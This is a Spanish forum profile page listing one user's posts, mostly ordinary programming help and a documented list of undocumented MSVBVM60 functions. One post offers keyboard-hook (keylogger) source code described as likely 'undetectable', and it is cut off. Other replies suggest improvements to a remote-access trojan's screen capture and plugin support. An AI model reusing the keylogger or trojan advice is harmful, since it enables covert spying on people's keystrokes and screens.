Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#41
Dudas y pedidos generales / Re:Como puedo hacer un dual boot?
Enero 02, 2017, 05:00:28 PM #42
Dudas y pedidos generales / Re:Mouse Clicks Webbrowser
Diciembre 23, 2016, 03:08:35 AM
English:
Yeah. You need mouse_event, or, if you dont need cursor move, really simulated: WM_LBUTTONDOWN And WM_LBUTTONUP messages for SendMessage.
Español:
Si. Vos necesitas mouse_event, o, si no queres mover el cursor, realmente simulado: WM_LBUTTONDOWN y WM_LBUTTONUP mensajes para SendMessage.
Yeah. You need mouse_event, or, if you dont need cursor move, really simulated: WM_LBUTTONDOWN And WM_LBUTTONUP messages for SendMessage.
Español:
Si. Vos necesitas mouse_event, o, si no queres mover el cursor, realmente simulado: WM_LBUTTONDOWN y WM_LBUTTONUP mensajes para SendMessage.
#43
Java / Re:[Java] Chat utilizando WebSockets con JavaEE y JavaFx
Diciembre 22, 2016, 05:38:57 PM
Se ve copado el Chat.
Yo soy de esos que siempre piden capacidad para agregar plugins a los programas, deberías pensarlo.
Veo que usas una caja de texto simple para el chat, podrías cambiarlo por algún RichEdit o algún resaltado de texto enriquecido.
Me intereso el chat, nunca entendí por que foros tan grandes como este no crean su propio Chat, tipo con resaltado de textos, sumbidos, emoticons y todo ese rollo.
Yo soy de esos que siempre piden capacidad para agregar plugins a los programas, deberías pensarlo.
Veo que usas una caja de texto simple para el chat, podrías cambiarlo por algún RichEdit o algún resaltado de texto enriquecido.
Me intereso el chat, nunca entendí por que foros tan grandes como este no crean su propio Chat, tipo con resaltado de textos, sumbidos, emoticons y todo ese rollo.
#44
Dudas y pedidos generales / Programar depurador que visualice source
Diciembre 16, 2016, 06:13:05 PM
Buenas, estoy programando un depurador para el lenguaje de programación que desarrolle, pero no tengo la menor idea de como sincronizar el código fuente con el archivo ejecutable siendo depurado.
Hasta ahora he podido obtener salida de texto vía "OutputDebugString" y analizar los registros gracias a interrupciones Int3, pero lo que quisiera es mostrar el código fuente, obtener y escribir las variables, modificar la instrucción, entre otras cosas.
¿alguien tiene alguna idea de como se realiza este trabajo?
Hasta ahora he podido obtener salida de texto vía "OutputDebugString" y analizar los registros gracias a interrupciones Int3, pero lo que quisiera es mostrar el código fuente, obtener y escribir las variables, modificar la instrucción, entre otras cosas.
¿alguien tiene alguna idea de como se realiza este trabajo?
#45
Off Topic / Re:Tu lenguaje de programación.
Agosto 03, 2016, 10:22:31 PM
Estoy probando FreeBasic y la verdad me parece imprecionante, la capacidad de C con la simpleza de Basic, ademas multiplataforma; simplemente increible.
Ademas me gusta la gran cantidad de librerias que ofrece, a ver si porfin aprendo a desarrollar juegos en SDL2.
Ademas me gusta la gran cantidad de librerias que ofrece, a ver si porfin aprendo a desarrollar juegos en SDL2.
#46
Debates, Reviews y Opiniones / Re:¿Sirven en verdad los Antivirus?
Junio 15, 2016, 08:05:49 AM
Yo soy mi propio antivirus
#47
Análisis y desarrollo de malwares / Re:Sub7 0.11 (Publico)
Marzo 05, 2016, 07:46:00 PM
Yo sigo esperando algún troyano que me permita usar mis propios plugins. Pero con los desarrolladores de hoy en dia, que solo copian funciones, sigue pareciendo cosa de ciencia ficción.
#48
Off Topic / Re:Cosas que me gustaría en Underc0de.
Febrero 07, 2016, 07:22:34 PM
Yo solo quiero que agreguen la sección "Proyectos" en Underc0de
#49
Otros lenguajes / [Pauscal] Funciones indocumentada de MSVBVM60
Diciembre 01, 2015, 06:19:57 AM
Buenas, para aportar un poco al foro les traigo una serie de funciones indocumentadas de MSVBVM60 que logre reversear (creo que así se dice, o crackear, no se...) con OllyDbg, PeExplorer, programación y muchisima depuración.
Hasta ahora logre obtener 51 funciones, algunas ya son conocidas... otras son nuevas.
Obviamente las documente lo mejor que pude, espero que las disfruten.
Código: text
También me gustaria, si conocen alguna función indocumentada de MSVBVM60 la comenten en este post.
Si tienen alguna duda sobre (casi) cualquiera de estas funciones, por favor no duden en preguntar.
Gracias!
Hasta ahora logre obtener 51 funciones, algunas ya son conocidas... otras son nuevas.
Obviamente las documente lo mejor que pude, espero que las disfruten.
' Programador: Yuki
' Formato de cadenas: Unicode
' Estado de funciones: Indocumentadas
' Cantidad de funciones declaradas: 51
' MSBVM60 esta disponible en las versiones mas actuales de Windows.
Prototipo pDllFunctionCall(Referencia CallData:DllCallData):Entero
Privado:
Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Público:
Estruc DllCallData,_
Libreria,_ ' El nombre de la Dll.
Función:Cadena,_ ' El nombre del procedimiento.
Unknown1:Entero,_ ' Desconocido.
Unknown2:Entero ' Dirección de una variable de almacenamiento.
' #======================= Misceláneos ========================
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena esta vacia.
' Parametros: #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena esta vacia, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsEmpty(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsEmpty"
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es nulo.
' Parametros: #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadenas contiene valor nulo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsNull(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNull"
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el parametro establecido es un arreglo.
' Parametros: #1 - Puntero al dato a verificar.
' Devuelve: Verdad si es un puntero a un arreglo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsArray(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsArray"
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es de tipo numerica.
' Parametros: #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena es numerica, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsNumeric(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNumeric"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el tipo del parametro establecido.
' Parametros: #1 - Puntero al dato a obtener tipo.
' Devuelve: Tipo de dato que establecimos.
' ====================== FIN INFORMACIÓN ======================
Proc VarType(Parametro1:Entero):Entero, "MSVBVM60" "rtcVarType"
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el primer parametro es un objeto.
' Parametros: #1 - Puntero a analizar.
' Devuelve: Verdad si el parametro es un objeto, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsObject(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsObject"
' ======================== INFORMACIÓN ========================
' Descripción: Procesa los eventos pendientes.
' Parametros: Ninguno.
' Devuelve: La cantidad de formularios disponibles.
' ====================== FIN INFORMACIÓN ======================
Proc DoEvents:Entero, "MSVBVM60" "rtcDoEvents"
' ======================== INFORMACIÓN ========================
' Descripción: Emite un sonido por el altavoz del equipo.
' Parametros: Ninguno.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc vbBeep, "MSVBVM60" "rtcBeep"
' ======================== INFORMACIÓN ========================
' Descripción: Crea una carpeta.
' Parametros: #1 - Ruta de la carpeta a crear (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc MkDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcMakeDir"
' ======================== INFORMACIÓN ========================
' Descripción: Elimina una carpeta.
' Parametros: #1 - Ruta de la carpeta a eliminar (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc RmDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcRemoveDir"
' ======================== INFORMACIÓN ========================
' Descripción: ???
' Parametros: Ninguno.
' Devuelve: ???
' ====================== FIN INFORMACIÓN ======================
Proc LocaleID:Entero, "MSVBVM60" "rtcGetHostLCID"
' ======================== Memoria ========================
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Byte (1 bytes) de una dirección en memoria.
' Parametros: #1 - Dirección en memoria del dato a obtener 1 byte.
' #2 - Variable de tipo Byte que recibirá el byte copiado.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetByte(Dirección:Entero,Referencia Retorno:Byte), "MSVBVM60" "GetMem1"
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un WordSig (2 bytes) de una dirección en memoria.
' Parametros: #1 - Dirección en memoria del dato a obtener 1 WordSig (2 bytes).
' #2 - Variable de tipo WordSig que recibirá los 2 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetWord(Dirección:Entero,Referencia Retorno:WordSig), "MSVBVM60" "GetMem2"
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un EnteroSig (4 bytes) de una dirección en memoria.
' Parametros: #1 - Dirección en memoria del dato a obtener 1 Entero (4 bytes).
' #2 - Variable de tipo Entero que recibirá los 4 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetDWord(Dirección:Entero,Referencia Retorno:EnteroSig), "MSVBVM60" "GetMem3"
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Decimal (8 bytes) de una dirección en memoria.
' Parametros: #1 - Dirección en memoria del dato a obtener 1 Decimal (8 bytes).
' #2 - Variable de tipo Decimal que recibirá los 8 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetQWord(Dirección:Entero,Referencia Retorno:Decimal), "MSVBVM60" "GetMem4"
' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Byte (1 bytes) en un dato.
' Parametros: #1 - Dirección en memoria del dato a escribir 1 Byte (1 bytes).
' #2 - Valor de tipo Byte a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutByte(Destino:Entero,Valor:Byte), "MSVBVM60" "PutMem1"
' ======================== INFORMACIÓN ========================
' Descripción: Escribe un WordSig (2 bytes) en un dato.
' Parametros: #1 - Dirección en memoria del dato a escribir 1 WordSig (2 bytes).
' #2 - Valor de tipo WordSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutWord(Destino:Entero,Valor:WordSig), "MSVBVM60" "PutMem2"
' ======================== INFORMACIÓN ========================
' Descripción: Escribe un EnteroSig (4 bytes) en un dato.
' Parametros: #1 - Dirección en memoria del dato a escribir 1 EnteroSig (4 bytes).
' #2 - Valor de tipo EnteroSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutDWord(Destino:Entero,Valor:EnteroSig), "MSVBVM60" "PutMem3"
' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Decimal (8 bytes) en un dato.
' Parametros: #1 - Dirección en memoria del dato a escribir 1 Decimal (8 bytes).
' #2 - Valor de tipo Decimal a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutQWord(Destino:Entero,Valor:Decimal), "MSVBVM60" "PutMem4"
' ======================== INFORMACIÓN ========================
' Descripción: Copia los datos de una dirección en memoria a otra.
' Parametros: #1 - Longitud de bytes a copiar.
' #2 - Dirección del destino de los datos a copiar.
' #3 - Dirección de la fuente de los datos a copiar.
' Devuelve: Nada.
' Detelles: Vease API CopyMemory.
' ====================== FIN INFORMACIÓN ======================
Proc CopyBytes(Tamaño,Destino,Fuente:Entero), "MSVBVM60" "__vbaCopyBytes"
' ======================== INFORMACIÓN ========================
' Descripción: Carga en memoria una libreria.
' Parametros: #1 - Nombre o dirección de la DLL a cargar en memoria (EN FORMATO ANSI).
' Devuelve: Modulo de la DLL cargada.
' Detelles: Vease API LoadLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryLoad(Referencia Libreria:Cadena):Entero, "MSVBVM60" "EbLibraryLoad"
' ======================== INFORMACIÓN ========================
' Descripción: Descarga en memoria una libreria.
' Parametros: #1 - Puntero al modulo devuelto por LibraryLoad/LoadLibrary.
' Devuelve: Nada
' Detelles: Vease API FreeLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryUnload(vbLibLoadPtr:Entero), "MSVBVM60" "EbLibraryUnload"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la dirección en memoria de una cadena.
' Parametros: #1 - Cadena a obtener puntero (ASCII o UNICODE).
' Devuelve: Dirección en memoria de la cadena establecida.
' Detelles: Esta API crea una copia del parametro que es establecido.
' ====================== FIN INFORMACIÓN ======================
Proc StrPtr(Str:Cadena):Entero, "MSVBVM60" "VarPtr"
' ======================== Colores ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el valor entero de una combinación RGB/RVA.
' Parametros: #1 - Valor del color Rojo (0 - 255).
' #2 - Valor del color Verde (0 - 255).
' #3 - Valor del color Azul (0 - 255).
' Devuelve: Valor entero que representa el color RGB.
' ====================== FIN INFORMACIÓN ======================
Proc vbRGB(R,G,B:Byte):Entero, "MSVBVM60" "rtcRgb"
' ======================== Conversión de datos. ========================
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo WordSig (2 bytes) a cadena.
' Parametros: #1 - Valor de tipo WordSig a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI2(Number:WordSig):Cadena,"MSVBVM60" "__vbaStrI2"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo EnteroSig (4 bytes) a cadena.
' Parametros: #1 - Valor de tipo Entero a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI4(Number:EnteroSig):Cadena,"MSVBVM60" "__vbaStrI4"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Decimal (8 bytes) a cadena.
' Parametros: #1 - Valor de tipo Decimal a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrCy(Number:Decimal):Cadena,"MSVBVM60" "__vbaStrCy"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Real (8 bytes) a cadena.
' Parametros: #1 - Valor de tipo Real a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrR8(Number:Real):Cadena,"MSVBVM60" "__vbaStrR8"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Byte (1 bytes) a cadena.
' Parametros: #1 - Valor de tipo Byte a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrUI1(Number:Byte):Cadena,"MSVBVM60" "__vbaStrUI1"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a WordSig (2 bytes).
' Parametros: #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a WordSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI2Str(Referencia Number:Cadena):WordSig,"MSVBVM60" "__vbaI2Str"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a EnteroSig (4 bytes).
' Parametros: #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a EnteroSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI4Str(Referencia Number:Cadena):EnteroSig,"MSVBVM60" "__vbaI4Str"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Decimal (8 bytes).
' Parametros: #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Decimal.
' ====================== FIN INFORMACIÓN ======================
Proc vbaCyStr(Referencia Number:Cadena):Decimal,"MSVBVM60" "__vbaCyStr"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Real (8 bytes).
' Parametros: #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Real.
' ====================== FIN INFORMACIÓN ======================
Proc vbaR8Str(Referencia Number:Cadena):Real,"MSVBVM60" "__vbaR8Str"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Byte (1 bytes).
' Parametros: #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Byte.
' ====================== FIN INFORMACIÓN ======================
Proc vbaUI1Str(Referencia Number:Cadena):Byte,"MSVBVM60" "__vbaUI1Str"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena UNICODE a ANSI.
' Parametros: #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
' #2 - Cadena de caracteres que se a de convertir a ANSI (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToAnsi(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToAnsi"
' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena ANSI a UNICODE.
' Parametros: #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
' #2 - Cadena de caracteres que se a de convertir a UNICODE (EN FORMATO ANSI).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToUnicode(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToUnicode"
' ======================== Cadenas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Crea una cadena de Nulos con el tamaño establecido.
' Parametros: #1 - Longitud de la cadena que devolvera la función.
' Devuelve: Cadena de longitud establecida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Space(Longeur:Entero):Cadena,"MSVBVM60" "rtcSpaceBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Invierte una cadena.
' Parametros: #1 - Cadena que se invertira (EN FORMATO UNICODE).
' Devuelve: Cadena invertida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc StrReverse(sStr:Cadena):Cadena,"MSVBVM60" "rtcStrReverse"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el caracter ANSI de un valor.
' Parametros: #1 - Valor a obtener caracter.
' Devuelve: Caracter del valor establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Chr(bChr:Byte):Cadena,"MSVBVM60" "rtcBstrFromAnsi"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado izquierdo de una cadena.
' Parametros: #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
' #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Left(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcLeftCharBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado derecho de una cadena.
' Parametros: #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
' #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Right(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcRightCharBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo y derecho de la cadena establecida.
' Parametros: #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Trim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcTrimBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo de la cadena establecida.
' Parametros: #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc LTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcLeftTrimBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado derechi de la cadena establecida.
' Parametros: #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc RTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcRightTrimBstr"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la longitud de una cadena.
' Parametros: #1 - Texto a obtener longitud (EN FORMATO UNICODE).
' Devuelve: Longitud de la cadena establecido.
' ====================== FIN INFORMACIÓN ======================
Proc Len(Referencia Expresion:Cadena):Entero, "MSVBVM60" "__vbaLenBstr"
' ======================== Archivos ========================
' Descripción: Obtiene el tamaño de un archivo.
' Parametros: #1 - Ruta del archivo a obtener tamaño (en formato UNICODE).
' Devuelve: Tamaño del archivo.
' ====================== FIN INFORMACIÓN ======================
Proc FileLen(Referencia Parametro1:Cadena):Entero, "MSVBVM60" "rtcFileLen"
' ======================== Matematicas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la tangente de un valor real.
' Parametros: #1 - Valor de tipo real a obtener tangente.
' Devuelve: Tangente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbTan(Parametro1:Real):Real, "MSVBVM60" "rtcTan"
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el exponente de un valor real.
' Parametros: #1 - Valor de tipo real a obtener exponente.
' Devuelve: Exponente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbExp(Parametro1:Real):Real, "MSVBVM60" "rtcExp"
' ======================== Otros ========================
' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros: #1 - Reservado, debe ser cero.
' #2 - Puntero a la matriz a borrar.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc ArrayDestruct(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaAryDestruct"
' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros: #1 - Reservado, debe ser cero.
' #2 - Puntero a la matriz a borrar.
' Devuelve: Nada.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' ====================== FIN INFORMACIÓN ======================
Proc Erase(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaErase"
' ======================== INFORMACIÓN ========================
' Descripción: Carga dinamicamente un procedimiento de una libreria en memoria.
' Parametros: #1 - Estructura DllCallData con los datos requeridos.
' Devuelve: Si la función tiene exito, el procedimiento devuelve la dirección del procedimiento
' establecido en "Parametro1.Procedure" miembro.
' Si la función falla, retorna 0.
' Detalles: Utilize AdmErr para controlar el error de acceso a memoria.
' ====================== FIN INFORMACIÓN ======================
Proc DllFunctionCall(Referencia CallData:DllCallData):Entero
Var Ptr,PtrProc:Entero,Call:pDllFunctionCall
Ptr = LoadLibrary("MSVBVM60")
Si Ptr = 0 Entonces GenerarError &C4855647
PtrProc = GetProcAddress(Ptr,"DllFunctionCall")
Si PtrProc = 0 Entonces GenerarError &C0D2DECF
Call@ = PtrProc
AdmErr
Resultado = Call(CallData)
Controlar
' Si se produce un error, no hacer nada.
FinAdmErr
FinProcTambién me gustaria, si conocen alguna función indocumentada de MSVBVM60 la comenten en este post.
Si tienen alguna duda sobre (casi) cualquiera de estas funciones, por favor no duden en preguntar.
Gracias!
#50
Análisis y desarrollo de malwares / Re:Troyano Cobrax 1.0 [Actualizado 04/08/15]
Agosto 04, 2015, 08:31:06 PMCitarGracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.
El envio de imagenes podria ser mas eficiente, mientras menos datos innecesarios se envien, mejor.
Con el sistema de plugins me refiero a poder agregarle funciones nuevas a tus softwares mediante bibliotecas externas (de terceros).
Vease: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#51
Análisis y desarrollo de malwares / Re:Troyano Cobrax 1 (Actualizado 03/08/15)
Agosto 04, 2015, 06:46:33 AM
XXNEECO83XX
Si que te sarpaste con el código, es demaciado y esta muy bien comentado.
Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).
Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.
Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.
Si que te sarpaste con el código, es demaciado y esta muy bien comentado.
Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).
Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.
Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.
#52
ASM / [FASM] Ide
Mayo 01, 2015, 07:53:05 PM
Hola a todos, estoy aprendiendo ensamblador y decidí traducir el IDE de Fasm Assembler al español, espero que les guste.
Link: You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login (CAIDO)
Ingles: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos!

Ingles: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos!
#53
Visual Basic / [SRC] String Alternativo
Marzo 04, 2015, 12:37:42 PM
El codigo de String Alternativo usando la API FillMemory
Código: text
Option Explicit
Private Declare Sub FillMemory Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Private Function StringAlternativo(ByVal Longitud As Long, ByVal Caracter As Byte) As String
Dim Str As String
Str = Space(Longitud)
FillMemory ByVal Str, Longitud, Caracter
StringAlternativo = Str
End Function #54
Dudas y pedidos generales / Re:Prohibido...
Marzo 03, 2015, 07:18:50 PM
No tengo muchos conocimientos sobre servidores web, pero no creo que se pueda bypassear de esa manera a un servidor, tal vez si el hosting (o donde este alojado el servidor) tuviera 2 servidores escuchando en distintos puertos y que el segundo no bloquee el acceso a tal directorio, pero no estoy seguro.
Si crees que tal método es funcional, deberías probar con algún escaner de puertos remotos y obtener la lista de puertos abiertos. obviamente tendrías que probar puerto por puerto.
Espero haberte ayudado, saludos!
Si crees que tal método es funcional, deberías probar con algún escaner de puertos remotos y obtener la lista de puertos abiertos. obviamente tendrías que probar puerto por puerto.
Espero haberte ayudado, saludos!
#55
Dudas y pedidos generales / Re:Error al modificar exe
Marzo 03, 2015, 07:14:40 PM
¿Y tu pregunta es?
#56
Dudas y pedidos generales / Re:Proyecto
Marzo 03, 2015, 07:12:46 PM
Creo que podrias aprender sobre virus, malware. Como funcionan los troyanos, tipos de virus, spreaders, botnets y como mantenerse alerta y a salvo.
También podrias aprender sobre los antivirus, como detectan al malware, como se mantienen al tanto de los nuevos virus, sus metodos de defenza y esas cosas.
¡Saludos!
También podrias aprender sobre los antivirus, como detectan al malware, como se mantienen al tanto de los nuevos virus, sus metodos de defenza y esas cosas.
¡Saludos!
#57
Visual Basic / Space Alternativo
Marzo 03, 2015, 03:00:27 PM
Les dejo esta función traducida de Pauscal, utiliza una matriz de tipo byte y la redimenciona al tamaño especificado, luego la devuelve.
Código: vb
Private Function SpaceAlt(longitud As Long) As String
Dim Matriz() As Byte
ReDim Matriz(longitud * 2)
SpaceAlt = Matriz
End Function #58
Otros lenguajes / [Pauscal] Hookear teclado
Febrero 28, 2015, 12:24:17 PM
Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!
Código: text
Espero que le saquen provecho, supongo que estará indetectable, saludos!
' Estructuras
Estruc POINTAPI _
,x:Entero _
,y:Entero
Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI
Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?
' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"
Var HookPtr:Entero
' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
Seleccionar i
Caso 13 ; Devolver "[ENTER]"
